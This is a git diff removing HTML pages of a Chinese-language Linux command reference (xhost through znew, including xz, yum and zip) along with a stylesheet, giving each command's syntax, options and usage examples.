- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/xhost.html b/linux-command.docset/Contents/Resources/Documents/c/xhost.html deleted file mode 100644 index 3c5d63253e..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/xhost.html +++ /dev/null @@ -1,86 +0,0 @@ - - - - - - - - - - - xhost 命令,Linux xhost 命令详解:制哪些X客户端能够在X服务器上显示 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

xhost

-

制哪些X客户端能够在X服务器上显示

-

补充说明

-

xhost命令 是X服务器的访问控制工具,用来控制哪些X客户端能够在X服务器上显示。该命令必须从有显示连接的机器上运行。可以通过使用-host参数,从访问列表中除去一个名称。不要从访问列表中除去当前的名称。如果已经这样做了,请在作出任何更改之前注销系统。

-

语法

-
xhost(参数)
-
-

参数

-
    -
  • +:关闭访问控制,允许任何主机访问本地的X服务器;
  • -
  • -:打开访问控制,仅允许授权清单中的主机访问本地的X服务器。
  • -
-

输入无变量的xhost命令将显示访问X服务器的当前主机名,并显示一条消息表明访问是否已启用。

-

为了安全起见,只能从控制主机运行影响访问控制的选项。对于工作站来说,这台机器也就是服务器。对于X终端来说,这台机器是登录主机。

-

要在缺省情况下启用远程名称,可以在/etc/X?.hosts文件中定义名称,其中?为启用访问的显示器号。

-

例如,显示器jeanne:0可以由使用jeanne的缺省主机名的系统上的/etc/X0.hosts文件中定义的系统访问。在显示名称和文件名中,0表明已定义的远程系统允许通过增强X-Windows访问的显示器号。

-

注意:-name参数,定义要从X服务器访问列表中除去的主机名。已有的连接没有被中断,但将拒绝新的连接请求。注意:可以除去当前的机器;然而,不允许进行进一步的连接(包括试图将其添加回来)。再一次启用本地连接的唯一方法就是将服务器复位(因此也会中断所有连接)。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/xinit.html b/linux-command.docset/Contents/Resources/Documents/c/xinit.html deleted file mode 100644 index 0b54716094..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/xinit.html +++ /dev/null @@ -1,82 +0,0 @@ - - - - - - - - - - - xinit 命令,Linux xinit 命令详解:是Linux下X-Window系统的初始化程序 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

xinit

-

是Linux下X-Window系统的初始化程序

-

补充说明

-

xinit命令 是Linux下X-Window系统的初始化程序,主要完成X服务器的初始化设置。

-

语法

-
xinit(参数)
-
-

参数

-
    -
  • 客户端选项:客户端指令及选项;
  • -
  • --:用于区分客户端选项和服务器端选项;
  • -
  • 服务器端选项:服务器端选项指令及选项。
  • -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/xlsatoms.html b/linux-command.docset/Contents/Resources/Documents/c/xlsatoms.html deleted file mode 100644 index e8880ef06d..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/xlsatoms.html +++ /dev/null @@ -1,83 +0,0 @@ - - - - - - - - - - - xlsatoms 命令,Linux xlsatoms 命令详解:列出X服务器内部所有定义的原子成分 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

xlsatoms

-

列出X服务器内部所有定义的原子成分

-

补充说明

-

xlsatoms命令 用于列出X服务器内部所有定义的原子成分,每个原子成分都有自身的编号。可利用参数设置列表范围,或直接指定欲查询的成分名称。

-

语法

-
xlsatoms(选项)
-
-

选项

-
    -
  • -display<显示器编号>:指定X Server连接的显示器编号,该编号由"0"开始计算,依序递增;
  • -
  • -format<输出格式>:设置成分清单的列表格式,您可使用控制字符改变显示样式;
  • -
  • -name<成分名称>:列出指定的成分;
  • -
  • -range<列表范围>:设置成分清单的列表范围。
  • -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/xlsclients.html b/linux-command.docset/Contents/Resources/Documents/c/xlsclients.html deleted file mode 100644 index b7decb2822..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/xlsclients.html +++ /dev/null @@ -1,82 +0,0 @@ - - - - - - - - - - - xlsclients 命令,Linux xlsclients 命令详解:列出显示器中的客户端应用程序 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

xlsclients

-

列出显示器中的客户端应用程序

-

补充说明

-

xlsclients命令 用来列出显示器中的客户端应用程序。

-

语法

-
xlsclients(选项)
-
-

选项

-
-a:列出所有显示器的客户端应用程序信息;
--display<显示器编号>:指定X Server连接的显示器编号,该编号由"0"开始计算,依序递增;
--l:使用详细格式列表;
--m<最大指令长度>:设置显示指令信息的最大长度,单位以字符计算。
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/xlsfonts.html b/linux-command.docset/Contents/Resources/Documents/c/xlsfonts.html deleted file mode 100644 index acaf441043..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/xlsfonts.html +++ /dev/null @@ -1,86 +0,0 @@ - - - - - - - - - - - xlsfonts 命令,Linux xlsfonts 命令详解:列出X Server使用的字体 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

xlsfonts

-

列出X Server使用的字体

-

补充说明

-

xlsfonts命令 列出X Server使用的字体,也能使用范本样式仅列出的符合条件的字体。

-

语法

-
xlsfonts(选项)
-
-

选项

-
-l:除字体名称外,同时列出字体的属性;
--ll:此参数的效果和指定"l"参数类似,但显示更详细的信息;
--lll:此参数的效果和指定"ll"参数类似,但显示更详细的信息;
--m:配合参数"-l"使用时,一并列出字体大小的上下限;
--n<显示栏位数>:设置每列显示的栏位数;
--o:以OpenFont的形式列出字体清单;
--u:列出字体清单时不依照其名称排序;
--w<每列字符数>:设置每列的最大字符数。
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/xset.html b/linux-command.docset/Contents/Resources/Documents/c/xset.html deleted file mode 100644 index 72bdf24fb7..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/xset.html +++ /dev/null @@ -1,85 +0,0 @@ - - - - - - - - - - - xset 命令,Linux xset 命令详解:设置X-Window系统中的用户爱好的实用工具 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

xset

-

设置X-Window系统中的用户爱好的实用工具

-

补充说明

-

xset命令 是设置X-Window系统中的用户爱好的实用工具。

-

语法

-
xset(选项)(参数)
-
-

选项

-
-b:蜂鸣器开关设置;
--c:键盘按键声响设置。
-
-

参数

-
    -
  • c:键盘按键声响设置;
  • -
  • s:屏幕保护程序设置。
  • -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/xz.html b/linux-command.docset/Contents/Resources/Documents/c/xz.html deleted file mode 100644 index 16d22a2750..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/xz.html +++ /dev/null @@ -1,132 +0,0 @@ - - - - - - - - - - - xz 命令,Linux xz 命令详解:POSIX 平台开发具有高压缩率的工具 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

xz

-

POSIX 平台开发具有高压缩率的工具

-

补充说明

-

xz命令 XZ Utils 是为 POSIX 平台开发具有高压缩率的工具。它使用 LZMA2 压缩算法,生成的压缩文件比 POSIX 平台传统使用的 gzip、bzip2 生成的压缩文件更小,而且解压缩速度也很快。最初 XZ Utils 的是基于 LZMA-SDK 开发,但是 LZMA-SDK 包含了一些 WINDOWS 平台的特性,所以 XZ Utils 为以适应 POSIX 平台作了大幅的修改。XZ Utils 的出现也是为了取代 POSIX 系统中旧的 LZMA Utils。

-

语法

-
xz(选项)(参数)
-xz [OPTION]... [FILE]...
-
-

选项

-
-z, --compress    # 强制压缩
--d, --decompress, --uncompress
-                  # force decompression
--t, --test        # 测试压缩文件的完整性
--l, --list        # 列出有关.xz文件的信息
--k, --keep        # 保留(不要删除)输入文件
--f, --force       # 强制覆盖输出文件和(解)压缩链接
--c, --stdout, --to-stdout
-                  # 写入标准输出,不要删除输入文件
--0 ... -9         # 压缩预设; 默认为6; 取压缩机*和*
-                  # 使用7-9之前解压缩内存使用量考虑在内!
--e, --extreme     # 尝试通过使用更多的CPU时间来提高压缩比;
-                  # 要求不影响解压缩存储器
--T, --threads=NUM # 最多使用NUM个线程; 默认值为1;  set to 0
-                  # 设置为0,使用与处理器内核一样多的线程
--q, --quiet       # 抑制警告; 指定两次以抑制错误
--v, --verbose     # 冗长; 指定两次更详细
--h, --help        # 显示这个简洁的帮助并退出
--H, --long-help   # 显示更多帮助(还列出了高级选项)
--V, --version     # 显示版本号并退出
-
-

参数

-
    -
  • 源文件:指定连接的源文件。
  • -
  • 目标文件:指定源文件的目标连接文件。
  • -
-

实例

-

压缩一个文件 test.txt,压缩成功后生成 test.txt.xz, 原文件会被删除。

-
$ xz test.txt
-$ ls test.txt*
-
-test.txt.xz
-
-

解压 test.txt.xz 文件,并使用参数 -k 保持原文件不被删除

-
$ xz -d -k test.txt.xz
-$ ls test.txt*
-
-test.txt.xz test.txt
-
-

使用参数 -l 显示 .xz 文件的基本信息。基本信息包括压缩率、数据完整性验证方式等。也可以和参数 -v 或 -vv 配合显示更详尽的信息。

-
xz -l index.txt.xz
-# Strms  Blocks   Compressed Uncompressed  Ratio  Check   Filename
-#    1       1        768 B      1,240 B  0.619  CRC64   index.txt.
-
-

使用参数 -0, -1, -2, … -6, … -9 或参数 --fast, --best 设定压缩率。xz 命令的默认为 -6 ,对于大多数系统来说,甚至是一些较旧的系统,-4 … -6 压缩率预设值都不错的表现。

-
$ xz -k7 xz_pipe_decomp_mini.c
-$ xz -k --fast xz_pipe_decomp_mini.c
-
-

使用参数 -H 显示 xz 命令所有 options. 参数 -H 比使用参数 --help 显示的内容更详细。

-
$ xz -H  | more
-
-

借助 xargs 命令并行压缩多文件。下面的命令行可以将 /var/log 目录下所有的扩展名为 .log 的文件压缩。通过 xargs 命令同时运行多个 xz 进行压缩。

-
# 运行此命令须有 root 权限。
-find /var/log -type f -iname "*.log" -print0 | xargs -P4 -n16 xz -T1
-
-
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/yes.html b/linux-command.docset/Contents/Resources/Documents/c/yes.html deleted file mode 100644 index 52383db5a8..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/yes.html +++ /dev/null @@ -1,91 +0,0 @@ - - - - - - - - - - - yes 命令,Linux yes 命令详解:重复打印指定字符串 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

yes

-

重复打印指定字符串

-

补充说明

-

yes命令 在命令行中输出指定的字符串,直到yes进程被杀死。不带任何参数输入yes命令默认的字符串就是y。

-

语法

-
yes(参数)
-
-

参数

-

字符串:指定要重复打印的字符串。

-

实例

-
[root@localhost ~]# yes testline
-
-testline
-testline
-testline
-testline
-testline
-testline
-testline
-testline
-...一直重复打印 testline,按Ctrl+C结束。
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/ypdomainname.html b/linux-command.docset/Contents/Resources/Documents/c/ypdomainname.html deleted file mode 100644 index 1259d6ac97..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/ypdomainname.html +++ /dev/null @@ -1,79 +0,0 @@ - - - - - - - - - - - ypdomainname 命令,Linux ypdomainname 命令详解:显示主机的NIS的域名 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

ypdomainname

-

显示主机的NIS的域名

-

补充说明

-

ypdomainname命令 显示主机的NIS的域名。

-

语法

-
ypdomainname(选项)
-
-

选项

-
-v:详细信息模式。
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/yum.html b/linux-command.docset/Contents/Resources/Documents/c/yum.html deleted file mode 100644 index be18eab798..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/yum.html +++ /dev/null @@ -1,162 +0,0 @@ - - - - - - - - - - - yum 命令,Linux yum 命令详解:基于RPM的软件包管理器 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

yum

-

基于RPM的软件包管理器

-

补充说明

-

yum命令 是在Fedora和RedHat以及SUSE中基于rpm的软件包管理器,它可以使系统管理人员交互和自动化地更新与管理RPM软件包,能够从指定的服务器自动下载RPM包并且安装,可以自动处理依赖性关系,并且一次安装所有依赖的软体包,无须繁琐地一次次下载、安装。

-

yum提供了查找、安装、删除某一个、一组甚至全部软件包的命令,而且命令简洁而又好记。

-

语法

-
yum(选项)(参数)
-
-

选项

-
-h:显示帮助信息;
--y:对所有的提问都回答“yes”;
--c:指定配置文件;
--q:安静模式;
--v:详细模式;
--d:设置调试等级(0-10);
--e:设置错误等级(0-10);
--R:设置yum处理一个命令的最大等待时间;
--C:完全从缓存中运行,而不去下载或者更新任何头文件。
-
-

参数

-
install:安装rpm软件包;
-update:更新rpm软件包;
-check-update:检查是否有可用的更新rpm软件包;
-remove:删除指定的rpm软件包;
-list:显示软件包的信息;
-search:检查软件包的信息;
-info:显示指定的rpm软件包的描述信息和概要信息;
-clean:清理yum过期的缓存;
-shell:进入yum的shell提示符;
-resolvedep:显示rpm软件包的依赖关系;
-localinstall:安装本地的rpm软件包;
-localupdate:显示本地rpm软件包进行更新;
-deplist:显示rpm软件包的所有依赖关系。
-
-

实例

-

部分常用的命令包括:

-
    -
  • 自动搜索最快镜像插件:yum install yum-fastestmirror
  • -
  • 安装yum图形窗口插件:yum install yumex
  • -
  • 查看可能批量安装的列表:yum grouplist
  • -
-

安装

-
yum install              #全部安装
-yum install package1     #安装指定的安装包package1
-yum groupinsall group1   #安装程序组group1
-
-

更新和升级

-
yum update               #全部更新
-yum update package1      #更新指定程序包package1
-yum check-update         #检查可更新的程序
-yum upgrade package1     #升级指定程序包package1
-yum groupupdate group1   #升级程序组group1
-
-

查找和显示

-
# 检查 MySQL 是否已安装
-yum list installed | grep mysql
-yum list installed mysql*
-
-yum info package1      #显示安装包信息package1
-yum list               #显示所有已经安装和可以安装的程序包
-yum list package1      #显示指定程序包安装情况package1
-yum groupinfo group1   #显示程序组group1信息yum search string 根据关键字string查找安装包
-
-

删除程序

-
yum remove &#124; erase package1   #删除程序包package1
-yum groupremove group1             #删除程序组group1
-yum deplist package1               #查看程序package1依赖情况
-
-

清除缓存

-
yum clean packages       #清除缓存目录下的软件包
-yum clean headers        #清除缓存目录下的 headers
-yum clean oldheaders     #清除缓存目录下旧的 headers
-
-

更多实例

-
# yum
-/etc/yum.repos.d/       yum 源配置文件
-vi /etc/yum.repos.d/nginx.repo # 举个栗子: nginx yum源
-[nginx]
-name=nginx repo
-baseurl=http://nginx.org/packages/centos/6/$basearch/
-gpgcheck=0
-enabled=1
-
-# yum mirror
-mv /etc/yum.repos.d/CentOS-Base.repo /etc/yum.repos.d/CentOS-Base.repo.bak
-wget https://mirror.tuna.tsinghua.edu.cn/help/centos/
-yum makecache
-
-# 添加中文语言支持
-LANG=C # 原始语言
-LANG=zh_CN.utf8 # 切换到中文
-yum groupinstall "Chinese Support" # 添加中文语言支持
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/zcat.html b/linux-command.docset/Contents/Resources/Documents/c/zcat.html deleted file mode 100644 index df5e18c5c3..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/zcat.html +++ /dev/null @@ -1,91 +0,0 @@ - - - - - - - - - - - zcat 命令,Linux zcat 命令详解:显示压缩包中文件的内容 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

zcat

-

显示压缩包中文件的内容

-

补充说明

-

zcat命令 用于不真正解压缩文件,就能显示压缩包中文件的内容的场合。

-

语法

-
zcat(选项)(参数)
-
-

选项

-
-S:指定gzip格式的压缩包的后缀。当后缀不是标准压缩包后缀时使用此选项;
--c:将文件内容写到标注输出;
--d:执行解压缩操作;
--l:显示压缩包中文件的列表;
--L:显示软件许可信息;
--q:禁用警告信息;
--r:在目录上执行递归操作;
--t:测试压缩文件的完整性;
--V:显示指令的版本信息;
--l:更快的压缩速度;
--9:更高的压缩比。
-
-

参数

-

文件:指定要显示其中文件内容的压缩包。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/zfore.html b/linux-command.docset/Contents/Resources/Documents/c/zfore.html deleted file mode 100644 index a36901ba3e..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/zfore.html +++ /dev/null @@ -1,78 +0,0 @@ - - - - - - - - - - - zfore 命令,Linux zfore 命令详解:强制为gzip格式的压缩文件添加.gz后缀 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

zfore

-

强制为gzip格式的压缩文件添加.gz后缀

-

补充说明

-

zfore命令 强制为gzip格式的压缩文件添加“.gz”后缀。

-

语法

-
zfore(参数)
-
-

参数

-

文件列表:指定要添加“.gz”后缀的gzip压缩文件。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/zip.html b/linux-command.docset/Contents/Resources/Documents/c/zip.html deleted file mode 100644 index 99539937d5..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/zip.html +++ /dev/null @@ -1,152 +0,0 @@ - - - - - - - - - - - zip 命令,Linux zip 命令详解:可以用来解压缩文件 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

zip

-

可以用来解压缩文件

-

补充说明

-

zip命令 可以用来解压缩文件,或者对文件进行打包操作。zip是个使用广泛的压缩程序,文件经它压缩后会另外产生具有“.zip”扩展名的压缩文件。

-

语法

-
zip(选项)(参数)
-
-

选项

-
-A:调整可执行的自动解压缩文件;
--b<工作目录>:指定暂时存放文件的目录;
--c:替每个被压缩的文件加上注释;
--d:从压缩文件内删除指定的文件;
--D:压缩文件内不建立目录名称;
--f:此参数的效果和指定“-u”参数类似,但不仅更新既有文件,如果某些文件原本不存在于压缩文件内,使用本参数会一并将其加入压缩文件中;
--F:尝试修复已损坏的压缩文件;
--g:将文件压缩后附加在已有的压缩文件之后,而非另行建立新的压缩文件;
--h:在线帮助;
--i<范本样式>:只压缩符合条件的文件;
--j:只保存文件名称及其内容,而不存放任何目录名称;
--J:删除压缩文件前面不必要的数据;
--k:使用MS-DOS兼容格式的文件名称;
--l:压缩文件时,把LF字符置换成LF+CR字符;
--ll:压缩文件时,把LF+cp字符置换成LF字符;
--L:显示版权信息;
--m:将文件压缩并加入压缩文件后,删除原始文件,即把文件移到压缩文件中;
--n<字尾字符串>:不压缩具有特定字尾字符串的文件;
--o:以压缩文件内拥有最新更改时间的文件为准,将压缩文件的更改时间设成和该文件相同;
--q:不显示指令执行过程;
--r:递归处理,将指定目录下的所有文件和子目录一并处理;
--S:包含系统和隐藏文件;
--t<日期时间>:把压缩文件的日期设成指定的日期;
--T:检查备份文件内的每个文件是否正确无误;
--u:更换较新的文件到压缩文件内;
--v:显示指令执行过程或显示版本信息;
--V:保存VMS操作系统的文件属性;
--w:在文件名称里假如版本编号,本参数仅在VMS操作系统下有效;
--x<范本样式>:压缩时排除符合条件的文件;
--X:不保存额外的文件属性;
--y:直接保存符号连接,而非该链接所指向的文件,本参数仅在UNIX之类的系统下有效;
--z:替压缩文件加上注释;
--$:保存第一个被压缩文件所在磁盘的卷册名称;
--<压缩效率>:压缩效率是一个介于1~9的数值。
-
-

参数

-
    -
  • zip压缩包:指定要创建的zip压缩包;
  • -
  • 文件列表:指定要压缩的文件列表。
  • -
-

实例

-

/home/Blinux/html/这个目录下所有文件和文件夹打包为当前目录下的html.zip:

-
zip -q -r html.zip /home/Blinux/html
-
-

上面的命令操作是将绝对地址的文件及文件夹进行压缩,以下给出压缩相对路径目录,比如目前在Bliux这个目录下,执行以下操作可以达到以上同样的效果:

-
zip -q -r html.zip html
-
-

比如现在我的html目录下,我操作的zip压缩命令是:

-
zip -q -r html.zip *
-
-

压缩 example/basic/ 目录内容到 basic.zip 压缩包中 -x 指定排除目录,注意没有双引号将不起作用。

-
zip -r basic.zip example/basic/ -x "example/basic/node_modules/*" -x "example/basic/build/*" -x "example/basic/coverage/*"
-
-

上面压缩解压出来,内容存放在 example/basic/, 如果想存放到根目录,进入目录进行压缩,目前没有找到一个合适的参数来解决此问题。

-
cd example/basic/ && zip -r basic.zip . -x "node_modules/*" -x "build/*" -x "coverage/*"
-
-

压缩效率选择:

-
zip -9 # 1-9 faster->better
-
-

创建 public_html 目录下忽略所有文件和文件夹,排除包括文本 backup 的所有文件。

-
$ zip -r public_html.zip public_html -x *backup*
-
-

httpdocs 目录忽略 .svn 文件或 git 的文件和目录下创建所有文件的归档。

-
$ zip -r httpdocs.zip httpdocs --exclude *.svn* --exclude *.git*
-
-

httpdocs 目录忽略的所有文件,并与 .log 结尾的目录下创建所有文件的归档。

-
$ zip -r httpdocs.zip httpdocs --exclude "*.log"
-
-

问题解决

-

CentOS7中命令找不到

-
-Bash: Unzip: Command Not Found
-
-

解决方法

-
yum install -y unzip zip
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/zipinfo.html b/linux-command.docset/Contents/Resources/Documents/c/zipinfo.html deleted file mode 100644 index 5381f00d6b..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/zipinfo.html +++ /dev/null @@ -1,92 +0,0 @@ - - - - - - - - - - - zipinfo 命令,Linux zipinfo 命令详解:用来列出压缩文件信息 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

zipinfo

-

用来列出压缩文件信息

-

补充说明

-

zipinfo命令 用来列出压缩文件信息。执行zipinfo指令可得知zip压缩文件的详细信息。

-

语法

-
zipinfo(选项)(参数)
-
-

选项

-
-1:只列出文件名称;
--2:此参数的效果和指定“-1”参数类似,但可搭配“-h”,“-t”和“-z”参数使用;
--h:只列出压缩文件的文件名称;
--l:此参数的效果和指定“-m”参数类似,但会列出原始文件的大小而非每个文件的压缩率;
--m:此参数的效果和指定“-s”参数类似,但多会列出每个文件的压缩率;
--M:若信息内容超过一个画面,则采用类似more指令的方式列出信息;
--s:用类似执行“ls-l”指令的效果列出压缩文件内容;
--t:只列出压缩文件内所包含的文件数目,压缩前后的文件大小及压缩率;
--T:将压缩文件内每个文件的日期时间用年,月,日,时,分,秒的顺序列出;
--v:详细显示压缩文件内每一个文件的信息;
--x<范本样式>:不列出符合条件的文件的信息;
--z:如果压缩文件内含有注释,就将注释显示出来。
-
-

参数

-

文件:指定zip格式的压缩包。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/zipsplit.html b/linux-command.docset/Contents/Resources/Documents/c/zipsplit.html deleted file mode 100644 index f4c899d30d..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/zipsplit.html +++ /dev/null @@ -1,83 +0,0 @@ - - - - - - - - - - - zipsplit 命令,Linux zipsplit 命令详解:将较大的zip压缩包分割成各个较小的压缩包 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

zipsplit

-

将较大的zip压缩包分割成各个较小的压缩包

-

补充说明

-

zipsplit命令 用于将较大的“zip”压缩包分割成各个较小的“zip”压缩包。

-

语法

-
zipsplit(选项)(参数)
-
-

选项

-
-n:指定分割后每个zip文件的大小;
--t:报告将要产生的较小的zip文件的大小;
--b:指定分割后的zip文件的存放位置。
-
-

参数

-

文件:指定要分割的zip压缩包。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/znew.html b/linux-command.docset/Contents/Resources/Documents/c/znew.html deleted file mode 100644 index ef137338c2..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/znew.html +++ /dev/null @@ -1,86 +0,0 @@ - - - - - - - - - - - znew 命令,Linux znew 命令详解:将.Z压缩包重新转化为gzip命令压缩的.gz压缩包 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

znew

-

将.Z压缩包重新转化为gzip命令压缩的.gz压缩包

-

补充说明

-

znew命令 用于将使用compress命令压缩的“.Z”压缩包重新转化为使用gzip命令压缩的“.gz”压缩包。

-

语法

-
znew(选项)(参数)
-
-

选项

-
-f:# 强制执行转换操作,即是目标“.gz”已经存在;
--t:# 删除原文件前测试新文件;
--v:# 显示文件名和每个文件的压缩比;
--9:# 食用油花的压缩比,速度较慢;
--P:# 使用管道完成转换操作,以降低磁盘空间使用;
--K:# 当“.Z”文件比“.gz”文件小时,保留“.Z”文件。
-
-

参数

-

文件:指定compress指令压缩生成的“.Z”压缩包。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/css/index.css b/linux-command.docset/Contents/Resources/Documents/css/index.css deleted file mode 100644 index 54daa9d100..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/css/index.css +++ /dev/null @@ -1 +0,0 @@ -body,html,ul,li,p{margin:0;padding:0}body,html{font-size:12px;font-family:'HanHei SC','PingFang SC','Helvetica Neue','Helvetica','STHeitiSC-Light','Arial',sans-serif}html{-webkit-tap-highlight-color:rgba(0,0,0,0)}a{text-decoration:none}a:hover{color:#333}*{box-sizing:border-box}.language-css,.language-styl,.language-less,.language-scss,.language-sass{color:#005cc5}.language-css .punctuation,.language-styl .punctuation,.language-less .punctuation,.language-scss .punctuation,.language-sass .punctuation{color:#24292e}.language-css .selector,.language-styl .selector,.language-less .selector,.language-scss .selector,.language-sass .selector{color:#6749ba}.language-css .property,.language-styl .property,.language-less .property,.language-scss .property,.language-sass .property{color:#005cc5}.language-css .atrule,.language-styl .atrule,.language-less .atrule,.language-scss .atrule,.language-sass .atrule{color:#d73a49}.markdown-body{padding:70px 35px 30px 35px;word-wrap:break-word;font-family:"SFMono-Regular",Consolas,"Liberation Mono",Menlo,Courier,monospace;font-size:14px;line-height:1.6;color:#333}@media mq-mobile{.markdown-body{padding-right:0}}.markdown-body .edit_btn{position:relative;right:0;float:right;top:48px;z-index:2}.markdown-body .edit_btn .split{display:inline-block;height:13px;vertical-align:middle;width:1px;border-left:1px solid #dfdfdf;margin:-1px 0 0 0}.markdown-body .edit_btn a{text-decoration:none;background:#2196f3;color:#fff;border-radius:3px;padding:2px 5px}.markdown-body .edit_btn a:hover{color:#333;background:#e6e6e6}.markdown-body pre{margin-top:1.5em;margin-bottom:1.5em;line-height:1.3;word-break:break-all;word-wrap:break-word;color:#333;border:none;position:relative;background-color:#f7f7f9;border-radius:3px;font-size:.93em;-webkit-overflow-scrolling:touch}.markdown-body pre code{padding:.7em;overflow:auto;max-height:35em;background-color:transparent;color:inherit;line-height:1.4;display:block;font-size:.93em;box-sizing:border-box;border-radius:0;white-space:inherit;overflow-wrap:normal;word-wrap:normal !important;font-family:"SFMono-Regular",Consolas,"Liberation Mono",Menlo,Courier,monospace}.markdown-body .class-name{color:#000896}.markdown-body .comment,.markdown-body .quote{color:#998}.markdown-body .keyword,.markdown-body .selector-tag,.markdown-body .subst{color:#d73a49}.markdown-body .key,.markdown-body .number,.markdown-body .literal,.markdown-body .variable,.markdown-body .template-variable,.markdown-body .tag .attr{color:#008080}.markdown-body .string,.markdown-body .doctag{color:#0065da}.markdown-body .title,.markdown-body .section,.markdown-body .selector-id{color:#900;font-weight:bold}.markdown-body .subst{font-weight:normal}.markdown-body .type,.markdown-body .class .title{color:#458;font-weight:bold}.markdown-body .function,.markdown-body .operator{color:#000bc5}.markdown-body .tag,.markdown-body .name,.markdown-body .attribute{color:#002ade;font-weight:normal}.markdown-body .url{color:#3c04ff}.markdown-body .boolean{color:#005cc5}.markdown-body .property{color:#032f62}.markdown-body .null,.markdown-body .selector{color:#005cc5}.markdown-body .constant{color:#d73a49}.markdown-body .punctuation{color:#a595a5}.markdown-body .attr-name{color:#8f4919}.markdown-body .attr-value{color:#13239f}.markdown-body .tag .punctuation{color:#a595a5}.markdown-body .tag .attr-name{color:#8f4919}.markdown-body .tag .attr-value{color:#13239f}.markdown-body .tag .attr-value .punctuation,.markdown-body .tag .script-punctuation{color:#a595a5}.markdown-body .tag .script .keyword{color:#090080}.markdown-body .tag .language-javascript{color:#6f42c1}.markdown-body .regexp,.markdown-body .regex,.markdown-body .link{color:#009926}.markdown-body .symbol,.markdown-body .bullet{color:#990073}.markdown-body .built_in,.markdown-body .builtin-name{color:#0086b3}.markdown-body .meta{color:#999;font-weight:bold}.markdown-body .deletion{background:#fdd}.markdown-body .addition{background:#dfd}.markdown-body .emphasis{font-style:italic}.markdown-body .strong{font-weight:bold}.markdown-body .shebang,.markdown-body .important{color:#ff1717}.markdown-body ul,.markdown-body ol{padding-left:2em}.markdown-body blockquote{margin:0}.markdown-body p,.markdown-body blockquote,.markdown-body ul,.markdown-body ol,.markdown-body dl,.markdown-body table,.markdown-body pre{margin-top:0;margin-bottom:16px}.markdown-body blockquote{padding:0 1em;color:#6a737d;border-left:.25em solid #dfe2e5}.markdown-body blockquote>:first-child{margin-top:0}.markdown-body blockquote>:last-child{margin-bottom:0}.markdown-body 